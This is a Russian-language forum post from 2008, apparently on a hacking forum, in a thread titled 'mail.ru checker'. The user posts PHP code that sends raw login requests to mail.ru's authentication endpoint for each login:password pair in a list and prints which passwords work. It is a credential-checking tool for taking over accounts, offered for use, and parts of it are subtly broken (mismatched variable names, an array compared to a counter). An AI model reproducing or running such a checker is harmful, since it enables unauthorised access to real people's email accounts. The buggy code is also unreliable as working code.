Тема: Чекер mail.ru
Показать сообщение отдельно

  #23  
Старый 02.12.2008, 22:26
rcc0023
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324

Репутация: 11
По умолчанию

да. то что на веб боте.

вот то что тебе нужно:

функция:
Цитата:
<?

function check_mailru_acc($login, $password, $domain){

global $mail_status;

$data="page=folders&post=&login_from=&Login=$login &Domain=$domain&Password=$password";
$packet="POST /cgi-bin/auth HTTP/1.0\r\nContent-Length: ".strlen($data)."\r\nHost: win.mail.ru\r\nReferer: http://win.mail.ru/cgi-bin/login\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n".$data."\r\n\r\n";
$ock=fsockopen(gethostbyname('win.mail.ru'),80);
fputs($ock,$packet);
while (!feof($ock)){$html.=fgets($ock);};
fclose($ock);

$mail_status=substr_count($html,"Mpop=");

};

?>
тело программы:
Цитата:
<?
$key=0;

$all_mail="vasya@mail.ru:best
bond@bk.ru:007007
picopuk@list.ru:hihihaha";

$all_mail=nl2br($all_mail);

$mail_array=explode("<br />",$all_mail);

$all_acc=array_count_values($mail_array);

while($key < $all_acc){

$acc_array_1=explode("@",$mail_array[$key]);
$acc_array_2=explode(":",$acc_array[1]);

$login=$acc_array_1[0];
$domain=$acc_array_2[0];
$password=$acc_array_2[1];

check_mailru_acc($login, $password, $domain);

if($mail_status==0){echo "пароль $password не подошел к $login@$domain<br>";}
else{echo "пароль $password подошел к $login@$domain<br>";}

++$key;

};

?>

Последний раз редактировалось rcc0023; 02.12.2008 в 22:30..
 
Ответить с цитированием